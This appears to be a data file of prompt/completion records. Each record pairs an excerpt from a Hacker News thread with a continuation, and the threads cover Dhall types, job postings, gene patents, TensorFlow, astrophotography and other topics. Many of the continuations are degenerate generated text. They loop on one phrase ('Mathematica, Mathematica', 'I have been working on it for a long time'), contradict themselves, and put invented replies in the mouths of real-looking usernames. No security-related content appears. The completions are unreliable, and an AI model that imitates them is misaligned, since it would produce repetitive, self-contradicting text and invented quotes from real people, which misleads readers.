Bool, bar = Text, baz = Natural }\n \n\nThis is a common pattern in Dhall.\n\n~~~\njstimpfle\n> Dhall's lists are homogeneous lists, meaning that every element always has\n> the same type of value. This is true whether or not you annotate list\n> elements with a type or you annotate the list with a type.\n\nI'm not sure I understand this", "input_text": "note: this is my understanding that\nmight not be correct) meaning there's no dynamic content in a list. In same\nvein a map of maps needs to have all its keys stated by type annotation.\n\nTo me this seems too restrictive since the structure of data gets lost in the\nmore verbose annotations. Not to mention the work of writing this annotation\nor the functionality to produce the same. In TypeScript I'd write something\nlike this { [string] : [ Number | String ] } and I'd have my string keyed\nobject with values of lists containing numbers and strings. Having a language\nlike Dhall to help with creation of correct configuration code seems really\nuseful instead of this messy combination of declarative and template language.\nI would like to understand things that can get better by using such an type\nsystem.\n\n~~~\nGabriel439\nDhall's lists are homogeneous lists, meaning that every element always has the\nsame type of value. This is true whether or not you annotate list elements\nwith a type or you annotate the list with a type.\n\nYou only need to annotate the type of an empty list. Lists with at least one\nelement don't require a type annotation because the type can be inferred from\nthe type of that element.\n\nDhall does not have buit-in support for homogeneous maps. Dhall does have\nstatically typed heterogeneous records (i.e. something like `{ foo = Bool, bar\n= \"ABC\" }` which has type `{ foo : Bool, bar : Text }` for example).\n\nIf you want to store different type of values in the same list you wrap them\nin a union. For example, if you want to store both `Text` values and `Natural`\nnumbers in a list you would do:"} +{"output_text": "\ntheir bank account.\n\nWe\u2019re looking for a talented engineer to join our team and help us build the\nnext generation of our platform. You\u2019ll be working on the iOS and backend\nplatforms, and will have the opportunity to work on a variety of projects.\n\nWe\u2019re looking for someone who is passionate about building great products and\nis excited to work on a product that is used by millions of people every day.\n\nIf you\u2019re interested,", "input_text": "inc.com | Full time | Los Angeles | Frontend Engineer, JavaScript Engineer |\nwww.winc.com\n\nWe are looking for a few great ONSITE Front End Engineers to join our highly\ncollaborative and fast moving team. In this role, you'll create functional and\npolished user interfaces with an emphasis on the mobile experience, work with\nsenior developers to architect scalable front-end solutions that integrate\nwith multiple backend systems, and strategize with digital product\nstakeholders to ensure the highest return on our engineering resources. In\nthis role it is crucial to be deadline driven, an internal drive toward\ncontinual improvement, and open to collaboration and being part of our\nproduct, not just production.\n\nTO APPLY: [https://goo.gl/KsNnYt](https://goo.gl/KsNnYt)\n\nSincerely, Winc Careers Team Careers@winc.com\n\n------\nbnoohi\nPangea Money Transfer | Chicago, IL | Lead iOS and Software Engineer\n(Platform) | Full Time, On Site |\n[http://engineering.gopangea.com](http://engineering.gopangea.com)\n\nFounded in 2012 and headquartered in Chicago, IL, Pangea started with the\nmission of making money transfer simple, fair and safe. Since then, we\u2019ve been\nstriving to enhance the security and reduce the cost and pain points of\ninternational money transfer.\n\nOur first solution allows users to complete a transfer in three easy steps and\npay with any US debit card, with an innovative nationwide cash solution coming\nsoon. Receivers in Mexico, Colombia, Guatemala, El Salvador and Dominican\nRepublic can collect the transfers in cash or receive the money directly into"} +{"output_text": " happened to the world since the invention of\nthe internet.\n\n~~~\njosteink\nI'm not sure I agree.\n\nLinux is a great thing, but it's not the best thing that has happened to the\nworld since the invention of the internet.\n\nThe best thing that has happened to the world since the invention of the\ninternet is the invention of the internet.\n\n~~~\nTinfoilhat666\nI'm not sure I agree either.", "input_text": " is available on GitHub.\n\nIsn't this just plain racist? Is there any actual reason to believe that\nthere's any privacy issues with Deepin, other that that it was made by Chinese\npeople? Not to mention that I've never heard this particular FUD before, so\nI'm doubtful that it \"tends to ignite\" anything.\n\n~~~\nsgt\nI think it has to do with that China has a terrible human right's reputation\n(yet we all use Chinese products, so there's that), but mainly that Huawei is\npretty much obliged by law to build backdoors and share any kind of\ninformation with the Chinese government if they are asked to do so.\n\n~~~\naibrahem\nSo does the US, I've yet to hear a valid argument on why the US is a better\ncitizen on the global stage than China.\n\nDomistically a very weak argument could be made that the US doesn't violate\nthe rights of their own citizens as bad as China, but between FISA courts, the\nNSA and programs like PRISM (which is more than a decade old now), this\nargument barely makes sense.\n\n~~~\nklingonopera\nWell, for one, whoever's running the US gets changed after two terms,\nsometimes it's a pity, sometimes it couldn't happen fast enough.\n\nBut in my opinion, it's definitely better than having the same person running\nthings for who-knows how long, regardless of the integrity of that person.\n\n~~~\nKaoruAoiShiho\nA couple dozen people change at the top but literally everyone else stays on,\nincluding all the criminals in military and intelligence. It's an absolute\njoke.\n\n------\nTinfoilhat666\nLinux is the best thing that has"} +{"output_text": " natural molecule, and\nthat is not patentable.\n\n~~~\ndnautics\nI'm not saying that the patent should be granted. I'm saying that the\npatentability of the molecule is not the issue. The issue is whether the\npatent is valid.\n\n~~~\ndaughart\nI'm not sure what you mean by \"the issue is whether the patent is valid.\"\n\n~~~\ndnautics\nThe issue is whether the patent is valid.", "input_text": " because the dsDNA molecule exists in\nnature. I think in this context isolation is similar in nature to discovery,\nwhich is not a patentable activity.\n\n~~~\ndnautics\nwell, no, the supreme court has decided that effectively breaking four\ncovalent bonds is not transformative (your words). I think it's a wrong\ndecision. Even so, if you actually understand it, the act of PCR is an act of\ncreation, not transformation. That dsDNA molecule doesn't exist in nature.\n\nFor example, there is a molecule thiostrepton which is an antibiotic compound,\nthat's really quite poor. They have recently discovered that only the core of\nthe molecule is necessary for antibiosis, and removal of the rest of the\nmolecule improves its pharmacological properties. It's a distinct molecule,\ncreated by the scission of 3 covalent bonds. Should it be unpatentable? Almost\ncertainly, somewhere in nature, there has a thiostrepton molecule that by\naccident happened to have been cleaved at exactly the right places to render\nthe molecule. does that change your opinion?\n\nI am not trying to defend the practice - I abhor patents - but a lot of people\nare letting their emotional reaction to \"patenting genes\" get in the way of a\ndispassionate and informed analysis of what actually is going on here.\n\n~~~\ndaughart\nYour perspective is confusing. You say that a modified form of thiostrepton\nshould not be patentable, even though the patent protects the molecule as well\nas the process of chemical synthesis or purification, which often requires\nsignificant innovation, and in this case the natural molecule is also\nsignificantly modified. On the other hand, when you PCR something you are\ngenerating a dsDNA molecule that is identical to the"} +{"output_text": "\nIt's a different beast because it's a different algorithm.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI mean, I can see the point of a physics engine that is fast and easy to use,\nbut I don't see the point of a physics engine that is fast and easy to use\n_and_ has a bunch of features that are not needed.\n\n~~~\njoshu\nI guess I'm not", "input_text": "\nI pulled her off, and then felt awful about it. Luckily you can put her back\non.\n\nI'm not sure what about it is so effective.\n\n------\ndonpark\nThere is a similar project named Coffee-Physics [1] by Soulwire.\n\n[1] \n\n~~~\nrorrr2\nAlso\n\nBox2D JS and Box2Dweb\n\n\n\n\n\nBullet JS\n\n\n\nCannon.js\n\n\n\nAmmo.js\n\n\n\nPhysijs\n\n\n\nJigLibJS\n\n\n\n~~~\nYgg2\nInteresting list but I wonder how do these libraries fare when used by JS\ndevelopers? What are their performances and experience with them?\n\n~~~\nseanmcdirmid\nAlso, a verlet-based physics engine is a very different beast compared to a\nrigid-body one (a few in the list above are also based on verlet, but not\nmost).\n\n~~~\njjoonathan\nErr, I thought verlet was just an integration technique? How does it translate\ninto a \"very different beast\"?\n\n~~~\nbm1362"} +{"output_text": " in the future when we can expect the benchmark to be\nreleased?\n\n~~~\nbhauer\nI'm not sure when the benchmark will be released, but I can tell you that I\nhave been working on it for a long time. I have been working on it for a long\ntime. I have been working on it for a long time. I have been working on it for\na long time. I have been working on it for a long time. I have been working", "input_text": "jocks') seems like a\ndefense mechanism that the group reinforces so that they don't have to face\ntheir own circumstance / fears.\n\nI've fallen into it a bit in the past and it's easy to get bitter and\nisolated.\n\nI think the only way out is to turn off the games and try something different.\n\n------\nm0llusk\nAll this focus on gaming could be backwards. The young guy I know who games\nall day instead of working is always sending out resumes. None of his jobs\nlasts very long but he does well while they last. This labor market has failed\nyoung people and not everyone is going to respond by founding concerns of\ntheir own. Its not the games, its the economy.\n\n------\nherogreen\n[2017]\n[https://news.ycombinator.com/item?id=13890782](https://news.ycombinator.com/item?id=13890782)\nStill very interesting though.\n\n \n\nUnfair comparisons - bhauer\nhttp://tiamat.tsotech.com/unfair-comparisons\n\n======\nsker\nBenchmark Nazis will always complain about _any_ benchmark, no matter what.\nDon't let them dissuade you from continuing work on this amazing project.\n\nPersonally, this project has prompted me to change my career path from C# to\nsomething else, due to the abysmal performance of ASP.NET. I'm still waiting\nto see more tests, especially the asp-stripped one, and hopefully some\nOWIN/Katana in the near future. But for now, I'm seriously considering\nJS/Node.js or Scala/JVM as my main development platform. So thanks.\n\nIs there any date"} +{"output_text": ".elementscience.com/assets/senior-backend-engineer--\nposition-summary.docx.pdf)\n\nElement Science | Sr / Frontend Engineer | San Francisco | Full-time | Onsite:\n[http://www.elementscience.com/assets/senior-frontend-\nenginee...](http://www.elementscience.com/assets/senior-frontend-engineer--\nposition-summary.docx", "input_text": " into the dirty details of the bits\nand MUST be able to visualize the entire system.\n\nEmail: founders [at] chaldal [dot] com\n\n------\nethanahte\nDia&Co | New York City or REMOTE | Software Engineer, Product Manager, Data\nScientist, and Data Analyst | Full-time\n\nDia&Co is the premier personal styling service for plus-size women. We\u2019re\nlooking for engineers, product, and data people to help create our suite of\nlarge consumer-facing and internal products that are transforming both\noperational efficiency and consumer e-commerce. We work with Ruby on Rails on\nthe engineering side and Python on the data science side.\n\nPlease check out our tech blog to get an idea of what we think about and\nvalue: [https://making.dia.com/](https://making.dia.com/)\n\nThe interview process is a phone screen, a take home coding challenge, and\nfinally an on-site interview. Apply here, and let us know that you found us on\nHacker News: [https://www.dia.co/careers](https://www.dia.co/careers)\n\n------\nk70841\nElement Science | Sr / iOS Engineer | San Francisco | Full-time | Onsite:\n[http://www.elementscience.com/assets/senior-ios-engineer--\npo...](http://www.elementscience.com/assets/senior-ios-engineer--position-\nsummary.docx.pdf)\n\nElement Science | Sr / Backend Engineer / Architect | San Francisco | Full-\ntime | Onsite: [http://www.elementscience.com/assets/senior-backend-\nengineer...](http://www"} +{"output_text": " them to explain why they think that.\n\n~~~\njoshu\nI think the point is that you can't write a test for this.\n\n~~~\njoshu\nI think the point is that you can't write a test for this.\n\n------\njoshu\nI think the point is that you can't write a test for this.\n\n~~~\njoshu\nI think the point is that you can't write a test for this.", "input_text": " an interviewer:\n\n \n \n for (let i = 1; i <= 100; i++) {\n let output = \"\";\n // test modulos in ascending order\n if (i % 3 === 0) output += \"Fizz\";\n if (i % 5 === 0) output += \"Buzz\";\n if (output === \"\") output += i;\n console.log(output);\n }\n \n\nLook Ma, I can maintain it!\n\n \n \n for (let i = 1; i <= 100; i++) {\n let output = \"\";\n // test modulos in ascending order\n if (i % 3 === 0) output += \"Fizz\";\n if (i % 5 === 0) output += \"Buzz\";\n if (i % 7 === 0) output += \"Foo\";\n if (i % 11 === 0) output += \"Bar\";\n if (output === \"\") output += i;\n console.log(output);\n }\n \n\nSince I didn't introduce any new functions like _isMultiple_ as a unnecessary\nshorthand for the built-in modulo operator, and I didn't introduce unnecessary\narrays to iterate over the index of, I don't need to write a test suite. I can\nsimply compare the output to the expected results.\n\nNot having the function call for every value will help this \"scale\" if\nnecessary, though for this problem scaling was neither stated as a\nrequirement, nor implied by any reasonable reading of the requirements.\n\nPutting on my hiring manager hat, if a candidate changes a _for_ loop to a\n_map()_ because \"there are just a few programming languages that doesn\u2019t\nsupport loops,\" I would ask"} +{"output_text": " this article.\n\n~~~\ndasil003\nI think you're being a little harsh. I think the author is just trying to\nexplain why OOP is not the panacea it's often made out to be.\n\n~~~\ndkarl\nI'm not being harsh. I'm being honest. I'm a Unix programmer, and I don't\ndisavow this article. I think it's a good explanation of why OOP is not the\npanacea it", "input_text": "esr/writings/taoup/html/unix_and_oo.html\n\n======\ntedunangst\n\"For example, a+a+a+a can become a*4 and even a<<2 if a is an integer. But if\none creates a class with operators, there is nothing to indicate if they are\ncommutative, distributive, or associative. Since one isn't supposed to look\ninside the object, it's not possible to know which of two equivalent\nexpressions is more efficient.\"\n\nBut it is ok (expected even?) to look inside the implementation of every\nfunction in a non-OO language?\n\nExplain how I am to know which to choose from the equivalent C code of add(a,\nadd(a, add(a, a))) or multiply(a, 4)?\n\nThere are reasons to dislike aspects of C++, but the \"omg operators are hard\"\nmeme is the biggest dumbest straw man around.\n\n~~~\ndasil003\nThe whole article has a whiff of bullshit even if it seems truthy at times.\nYes, OOP is a great fit for GUI programming which helped it rise to\nprominence, however the rest of it is spoken like someone who has never really\ndone any serious OOP.\n\nI think it's fair to say that OOP is not significantly different from\nprocedural programming, and certainly can't be considered universally better.\nIt just provides some additional tools for structuring the code and data,\nhowever it doesn't offer any deep and powerful benefits like functional\nprogramming or s-expressions provide.\n\n------\ndkarl\nWhat's the clinical terminology for this? Projective collective delusional\nnarcissism? I'm a Unix programmer, and I disavow"} +{"output_text": "\n([https://earnup.com](https://earnup.com))\n\nEarnUp is a platform that helps people save money on their bills. We're\ncurrently looking for senior software engineers to join our team.\n\nWe're looking for engineers with experience in:\n\n* Python\n\n* Django\n\n* React\n\n* Postgres\n\n* AWS\n\n* Linux\n\n* CI/CD\n\n* DevOps\n\n* Data", "input_text": " compliance and identification\ntools. We are on a mission to save people time, money and stress related to\npersonal finance, using technology and data analytics.\n\nWe are looking for Backend Java Developers to join the Engineering team in\nVancouver. To find out more go to\n[https://www.poweredbygrow.com/careers/](https://www.poweredbygrow.com/careers/)\nand in your application mention you saw this post.\n\n------\nshan28harris\nSmugMug | Ops Engineer | Mountain View, CA | Full-time, Onsite preferred, but\nremote is an option for senior candidates.\n\nSmugMug is searching for a behind the curtain guy/gal who\u2019s got brains,\ncourage, heart and wants to join our close-knit team responsible for operating\na SaaS infrastructure serving billions of photos and millions of customers. Do\nyou also have a passion for automation, testing and tool building?? No way! We\nthought it was just us. We like you already!\n\nWe are seeking is an experienced system administrator who\u2019ll help our\noperations team solve difficult puzzles that arise when running a fast-moving\nlarge-scale infrastructure. You\u2019ll touch all parts of our framework with your\nmagic, from web servers and databases to continuous integration systems to AWS\ntools and products.\n\nApply here: [https://jobs.smugmug.com/Job-\nOpenings?gh_jid=586100h](https://jobs.smugmug.com/Job-Openings?gh_jid=586100h)\n\n~~~\ngeekoSnap\nApplied. Look forward to hear from you.\n\n------\nearnuptalent\nSenior Software Engineers needed at EarnUp"} +{"output_text": "'m an INTJ, and I've never used it in a hiring situation.\n\n~~~\njames_s_tayler\nI'm an INTJ too. I've never used it in a hiring situation either.\n\nI think it's a bit of a red herring. It's a useful tool for understanding\npeople, but it's not a good tool for hiring.\n\n~~~\ndisgruntledphd2\nI agree. I think it's", "input_text": " the day, context, mood). Zodiac Sign and MBTI Type should\nonly be used as pick-up lines in a bar. \"Hey, babe, I'm an INTJ, so I'm not\ngoing to say anything else.\"\n\nThere are good uses of psychometrics, but they're rare enough that I take any\nreliance on any kind of psychometric during hiring as kind of a bad sign.\n\n0: [http://blogs.scientificamerican.com/primate-diaries/the-\nweir...](http://blogs.scientificamerican.com/primate-diaries/the-weird-\nevolution-of-human-psychology/) 1: [https://www.psychologytoday.com/blog/give-\nand-take/201309/go...](https://www.psychologytoday.com/blog/give-and-\ntake/201309/goodbye-mbti-the-fad-won-t-die)\n\n~~~\ndisgruntledphd2\nTo be fair, I think that Raven's matrices probably get around this. If someone\nexplains the process to you, you don't actually need to be able to read to do\nwell on the test.\n[https://en.wikipedia.org/wiki/Raven%27s_Progressive_Matrices](https://en.wikipedia.org/wiki/Raven%27s_Progressive_Matrices)\n\nI do find it surprising that Raven's appears to be more susceptable to the\nFlynn effect (people keep getting better at IQ tests, for an unknown reason).\n\nCompletely agreed on the MBTI, but its surprisingly difficult to convince\npeople that's its useful.\n\nFWIW, I"} +{"output_text": " theory was developed to model the behavior of water waves.\n\nI'm not saying that pure research is useless. I'm saying that it's not\nnecessarily the best use of resources.\n\n~~~\njules\nI think you are right. I think the author is right that pure research is\nimportant, but he is wrong that it is the only way to do science.\n\n~~~\nyummyfajitas\nI think you are right that pure research is important, but", "input_text": "reshaping products of science arise in pure, not\napplied, research.\n\nQuote: \"Second, when science is not steered to solve such problems, it tends\nto go off half-cocked in ways that can be highly detrimental to science\nitself.\"\n\nAlso contradicted by history. As just one example, the success of Bell Labs\nover the decades resulted, not from a focus on solving particular problems,\nbut a focus on research for the sake of research -- pure science.\n\nThe author of the article raises an alarm about a supposed scientific crisis,\nand eventually reveals what he thinks is the source of the problem -- a waste\nof scientific talent spent on pure research. He needs to read the history of\nscience with an open mind.\n\nQuote: \"It was military purchases that kept the new transistor, semiconductor,\nand integrated-circuit industries afloat in the early and mid-1950s.\"\n\nThat's true, but it's misleading because the development of the transistor at\nBell Labs wasn't an applied science project, it resulted from pure research in\nmaterials science and physics.\n\nThe author isn't reporting on the state of science, he's complaining that it's\nnot what he thinks it should be, in a way that stands at odds with science's\nhistory.\n\n~~~\nyummyfajitas\nI think your claims require a bit more backing than mere assertion. Certainly,\nsome of the most important research (now described as \"pure\") was done with\napplications immediately in mind.\n\nFor example, Newtonian physics always had the goal of calculating artillery\ntrajectories. Nuclear physics had the goals of energy/weapons. Probability\ntheory, operations research, and most of our modern computational\ninfrastructure came directly from people trying to do applied work. Nonlinear\nwave"} +{"output_text": " moving to)\nSpain.\n\n~~~\npcrh\nI think the average salary in Spain is around $30k.\n\n~~~\nwhamlastxmas\nI'm not sure if that's the average salary for developers, but it's certainly\nnot the average salary for a developer in Spain.\n\n~~~\npcrh\nI'm not sure what you mean by \"developer\" here.\n\n~~~\nwhamlastxmas\nI'm not sure what you", "input_text": "'s working on, but his\nproductivity is the absolute value of added output. How could it be counted\notherwise, in what? Lines of code?\n\nIf productivity didn't depend on location immigration wouldn't exist.\n\n~~~\npcrh\nI guess it depends on the sense in which \"productivity\" is being used.\n\nA remote dev working for a Bay Area company from Spain can be just as\nproductive for his employer as one located in Los Gatos, CA. However the above\nmethod would categorize this dev as \"objectively less productive\", which seems\ncounter-intuitive...\n\n~~~\nduckingtest\n>However the above method would categorize this dev as \"objectively less\nproductive\", which seems counter-intuitive...\n\nIt wouldn't, it purports to explain the differences in local salaries, or more\nprecisely salaries paid by local entities to on-site developers.\n\nIt's true I didn't specify that explicitly in the first comment, along with\ndefinition of productivity, so your reading of it was a reasonable\nunderstanding. It's a good thing you helped me clarify the intended meaning.\n\nOne assumption is that foreign demand (for non-local use) for local on-site\ndevelopers is small enough to not change the workforce demand significantly.\nSo it won't work for India or other common offshore destination, but it seems\nto explain pay differences between USA and Spain, Norway and Switzerland\nreasonably.\n\n~~~\npcrh\nIn other words, pay differentials are more closely related to locale than to\nthe amount or quality of work produced.\n\n------\nwhamlastxmas\nThe article says the average salary in Spain is around $22k. Even at twice\nthat, it's not hard to see why developers are not working for (or"} +{"output_text": "'s also a lot more difficult to\nlearn and master.\n\n~~~\nVikingCoder\nI'm not sure I understand what you're saying.\n\nI'm not saying that Python is more effective than Lua. I'm saying that\nTensorFlow is more effective than Torch.\n\n~~~\njjawssd\nI'm saying that Torch is more effective than Lua.\n\n------\njoshu\nI'm not sure I understand the point of", "input_text": " use python2.7 by default, but work hard to\nmake sure that we maintain compatibility. Our tests explicitly run on both\nplatforms - [http://ci.tensorflow.org/](http://ci.tensorflow.org/)\n\n------\nya3r\nI guess this (switching from Torch to other deep learning libraries) will\nbecome a trend as deep learning have become more mainstream in tech companies.\nI say Facebook, Twitter and others who use Torch (I don't know of any others\nactually), will move away from torch gradually. Unless the Torch community\nsteps its game up.\n\n------\nswah\nI'm a layman but I find it quite interesting that a big release such as\nTensorFlow doesn't affect more people outside Google - or at least thats my\nimpression. One would think, at least, that online store recommendations would\nbecome better or something like that.\n\n~~~\nstuartaxelowen\nTensorFlow doesn't make the algorithms more effective, it just makes them\neasier to describe, and recently, more quick to train / test. Also, with the\nkind of predictions Google is making, it's very unlikely that you'd notice\nimprovements, since they would be gradual.\n\n~~~\nVikingCoder\n...but if you want to make your algorithms more effective, you'd probably\nbenefit if they were easier to describe, quicker to train and test, and you'd\nwant to take advantage of gradual improvements. Right?\n\n~~~\njjawssd\nNot so, for the same reason that low level languages are more effective\ncomputationally but less easy to describe and more difficult for code\ndevelopment.\n\nLua is more low level and has an extremely isolated and fractured community\nrelative to the current Python ecosystem. It"} +{"output_text": "www.flickr.com/photos/99251154@N04/22790364795/in/album-72157629373705882/)\n\n~~~\njamesblonde\nI think you are right. I have a D750 and a 20mm lens. I have to use a tripod\nto get the same results as the Google guys. I have to use a tripod to get the\nsame results as the Google guys. I have", "input_text": " i say\nit was heaviliy processed.\n\n------\nsaiya-jin\nAs a full frame DSLR shooter (Nikon D750 + 20mm F1.8), this is wild\nconsidering those crappy tiny sensors on phones. To get similar (albeit much,\nmuch sharper) results, I have to lug around 2kg of camera and lens plus bulky\ntripod.\n\nEven with this, to get those dark dust clouds and stark colors some heavy\npostprocessing is required (which I mostly don't do because I consider it too\nmuch an alteration of original image, but it creates more interesting image).\nDon't think for a second that those superb images you can see everywhere are\nnot literally over-painted in Photoshop (look at online tutorials on how to do\nit if you don't believe me).\n\nI guess to make things impressive, google guys went to some proper remote\ndesert far from any artificial light. And unless I missed something, they\nstill used some tripod. In european alps, this kind of result is practically\nimpossible - there is always some tiny village in every valley, and even if\nnot light pollution seeps from far. One night panorama I have has quite strong\nglow coming from village of Chamonix some 15km far, that is on the other side\nof massive Mont Blanc range [1]. Anything can be achieved if you start playing\na lot with Photoshop brushes, layers etc. but for me its one step too far.\n\nImagine what results can be had when such algorithms are paired to a full\nframe (or bigger) sensor!\n\n[1]\n[https://www.flickr.com/photos/99251154@N04/22790364795/in/al...](https://"} +{"output_text": "e.g. C++, Python, R, Matlab, Mathematica, Matlab, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica,", "input_text": "C)\n\n------\nenascimento\nPagar.me | S\u00e3o Paulo - Brazil | Full-time | ONSITE\n\nWe're looking for software developers and devops engineers to join our team\nand help us build the best payment system in the galaxy.\n\nIn terms of technology, we use JavaScript(node.js), React, Angular, Go, PHP,\nPostgres, Mongo, AWS.\n\nPlease send your resum\u00e9 to: venhapara@pagar.me\n\nLearn more about us at [https://pagar.me](https://pagar.me)\n\n~~~\nGoodbyeEarl\nnice stack, man. Hate Angular though. Any node.js or mongo? React + Redux, I\npresume, right? I'm from Poa. :) Would love to tackle Go any time.\n\n~~~\nenascimento\nSorry, I forgot to mention, we use node.js and mongo too.\n\nOur actual dashboard uses Angular, and we're building a brand new with React.\n\n~~~\naclsid\nPlease make sure the new one works well with mobile devices. I tried the\ncurrent dashboard but only works in the desktop, looks really nice though even\nif a bit cluttered. But otherwise keep up the good work.\n\n~~~\nenascimento\nAbsolutely, is a mandatory requirement for the future version :)\n\n------\nkassovic\nResearch Data Scientist (w/m) for Applied Biophysics @ Beiersdorf\n\nREQUIREMENTS:\n\n-An extremely good degree in natural sciences, engineering, or IT, plus a doctorate if possible (preferably in computer science, mathematics, or physics)\n\n-Very good theoretical and practical knowledge of mathematics, physics and software / algorithm development ("} +{"output_text": "360-tb-\nof-data/)\n\n------\njlebrech\nI wonder if they can use it to store data in space.\n\n------\njlebrech\nI wonder if they can use it to store data in space.\n\n------\njlebrech\nI wonder if they can use it to store data in space.\n\n------\njlebrech\nI wonder if they can use it to store data in space.\n\n------", "input_text": "[https://en.wikipedia.org/wiki/BBC_Domesday_Project](https://en.wikipedia.org/wiki/BBC_Domesday_Project)\n\n------\nksec\nFacebook uses BluRay RW Disc for Cold Storage ( Not sure if that is still the\ncase ).\n\nThe question is nearly 4 years later are they anywhere close to production?\n\n------\niandanforth\nI guess I'll have to buy the White Album again.\n\n------\nJVIDEL\nIs this another tech that's \"just around the corner\" like holo-memory from the\nlate 90's?\n\n------\nmyfonj\nTIL glass is not supercooled liquid after all.\n\n~~~\nwongarsu\nThere's a good Veratasium video about that [1]. But the short version is that\nglas is pretty much a solid, and lead is much more liquid at room temperature\nthan glas.\n\n1:\n[https://www.youtube.com/watch?v=c6wuh0NRG1s](https://www.youtube.com/watch?v=c6wuh0NRG1s)\n\n------\nRenRav\nHow does glass being amorphous affect the data integrity? What 'glass'\nspecifically is being used?\n\n~~~\nkragen\nPresumably the amorphous nature of glass lowers the energy barrier to\ndisrupting the stored information. They're using fused quartz glass, as one\ndoes.\n\n------\njody2\narticle from 2016 [https://petapixel.com/2016/02/16/glass-disc-can-\nstore-360-tb...](https://petapixel.com/2016/02/16/glass-disc-can-store-"} +{"output_text": ".\n\nThe article is about the fact that the US government is using the courts to\nsilence people who are critical of the government.\n\nThe article is not about the fact that the US government is using the courts\nto silence people who are critical of the government.\n\nThe article is not about the fact that the US government is using the courts\nto silence people who are critical of the government.\n\nThe article is not about the fact that the US government is using", "input_text": " the people who today find Linux extremely\nimportant, or depend on it without knowing. And there you go, I now made a\n\"direct\" (whatever that means) comparison between Linux and Japanese being put\ninto concentration camps in the US, as well as a \"direct\" comparison between\nLinux and neo-nazis being deplatformed. The point matters more than the\ncomparison used to make it.\n\n~~~\nTheSpiceIsLife\n> The point matters more than the comparison used to make it.\n\nOnly if we assume the soundbite _it's just like when Japanese Americans were\nput in concentration camps_ didn't happen.\n\nThe point could have been made without the comparison, by writing something\nlike this:\n\n _\" Surprisingly few people cared\" is a very poor metric to apply to a\nprinciple of rights and justice._\n\nAnd then we can discuss how _social norms_ and _the legal system_ interact,\nrather than have _this_ conversation.\n\n~~~\nPavlovsCat\nThe complaint wasn't that it was worded poorly, but that a direct comparison\nwas made at all, using kinda spooky language such as \" _It sounds suspiciously\nas if you're drawing a direct comparison_\" and \" _That can 't possibly be an\nargument you really want to make._\".\n\nEnglish isn't my first language, even I had no problem understanding the\nintention of the words, and arguing against the \"strongest plausible\ninterpretation\" is in the guidelines.\n\n> And then we can discuss how social norms and the legal system interact\n\nPersonally I'm content with it being settled that \"few people care\" is an\ninvalid argument.\n\n------\nmattsfrey\nIt seems like many people are caught up in the details here"} +{"output_text": "\n\n[0] [http://www.smh.com.au/federal-politics/political-news/\ncensus-debacle-...](http://www.smh.com.au/federal-politics/political-news/census-\ndebacle-laid-bare-malcolm-turnbull-to-decide-which-heads-will-roll-20161025-\ngsacqc.html)\n\n~~~\nr", "input_text": " a result of \u2018build and see\u2019, rather than any\nkind of logical planning. The design needs a bunch of \u2018prettying\u2019, but\u2026 well,\n70%. And if you find it useful, then great :-)\n\nThe mailing list comment in the join box refers to the fact that I may, at\nsome-point, send a \u2018checkout my site I actually got to 100% on\u2019, but I\u2019m not\nadding anyone to anything now. Feel free to test, use, whatever. There\u2019s a\ndelete option on the settings page - it\u2019ll (permanently) delete everything in\nthe database relating to your account (including any email address before I\u2019ve\nadded it to any kind of list).\n\nSo here you go. Go easy. Feedback welcome!\n\n \nIBM blamed for Australian online census debacle - thedays\nhttp://www.smh.com.au/federal-politics/political-news/census-debacle-laid-bare-malcolm-turnbull-to-decide-which-heads-will-roll-20161025-gsacqc.html\n======\nrpeden\nThere have been some high profile instances over the past few years of\nconsultants (IBM, Accenture, etc.) delivering awful, broken solutions after\nbeing paid big dollars by governments.\n\nCan anyone who has worked at one of these consultancies (or on the procurement\nside in government) shed light on _why_ this keeps happening?\n\n~~~\nguitarbill\nEspecially when IBM Australia has been accused of \"ethical transgressions\" [0]\nin a report by the State of Queensland. Although in that case, part of the\nissue was the government not going after them for damages\ncompetently/aggressively enough."} +{"output_text": "\n~~~\nbillyjobob\nI'm not saying it's always the case, but it's certainly true that it's a\nfactor.\n\n------\njamesjguthrie\nI'm not sure if this is the right place to ask this, but I'm a 16 year old\nwho's been in the same school for the last 3 years. I'm not sure if I'm\nmotivated enough to do well in school, and I'm not sure if I", "input_text": " want it to.\n\nIt's normal for someone in high school to feel like the OP, especially someone\nwho's a hacker at heart. School limits you in a lot of ways, but you don't\nhave to let it stop you. You just have to realize that the boundaries are self\nimposed. You can do real things. So treat school like a day job, get it out of\nthe way, and do what's interesting to you.\n\n------\nbillyjobob\nSo you don't like school work. You could get higher grades if only you were\nmore motivated...\n\ni.e. you are exactly like every other 16 year old I ever knew.\n\nMost of them because more motivated once they started university and were able\nto focus on what they enjoyed studying. I'd be more worried if you _were_\nmotivated at 16, because then you'd probably burn out, or grow up to be an\nobnoxious brain box.\n\nAlso, since you sound like you are in the UK, you should realise that grades\ndon't matter here. No-one will ever ask what you scored in your maths A-level.\nYour success in life will mostly be determined by the connections your parents\nhave. The only thing you can do to improve your chances is network and make\nsome more connections of your own at university. Plenty of top jobs go to\nthose who graduated with the \"gentleman's third\" because they spent their time\nnetworking rather than studying.\n\n~~~\ncjfont\n> Your success in life will mostly be determined by the connections your\n> parents have\n\nSorry but this statement doesn't ring true to me, because I know of several\ncases where two brothers have had divergent success outcomes based on their\npersonalities and the choices they've made.\n"} +{"output_text": "http://www.nodejscloud.com:8001/>\n\n------\n619Cloud\nI'm in the chat room now. Come on in.\n\n------\n619Cloud\nI'm in the chat room now. Come on in.\n\n------\n619Cloud\nI'm in the chat room now. Come on in.\n\n------\n619Cloud\nI'm in the chat room now. Come on in.\n\n------\n619Cloud", "input_text": "ator.com/munger.html)\n\n \n\nIRC Or Chat Room For YC Winter 2011 Applicants - 619Cloud\n\nIs there an IRC or 37Signals campfire for applicants of the YCombinator Winter 2011? Would be cool to chat with other applicants.\n======\n619Cloud\nEven better, I just spun up a VPS instance, and got the simple, yet functional\nnode.js chat room going on it.\n\nI'm in there now. :) Come one, come all.\n\n\n\nI'll keep it up.\n\n~~~\ngeuis\nThis seems to be where the action is! Come jump in the pool.\n\n~~~\n619Cloud\nYou guys can now access the YC Winter 2011 chat at:\n as well.\n\nSee you there.\n\n------\nzbruhnke\nI'd be interested in the same thing... for anyone else interested feel free\nto shoot me an email (my email address is listed in my profile)\n\nI would love to discuss with other applicants whats going on with their\nprojects, or if they 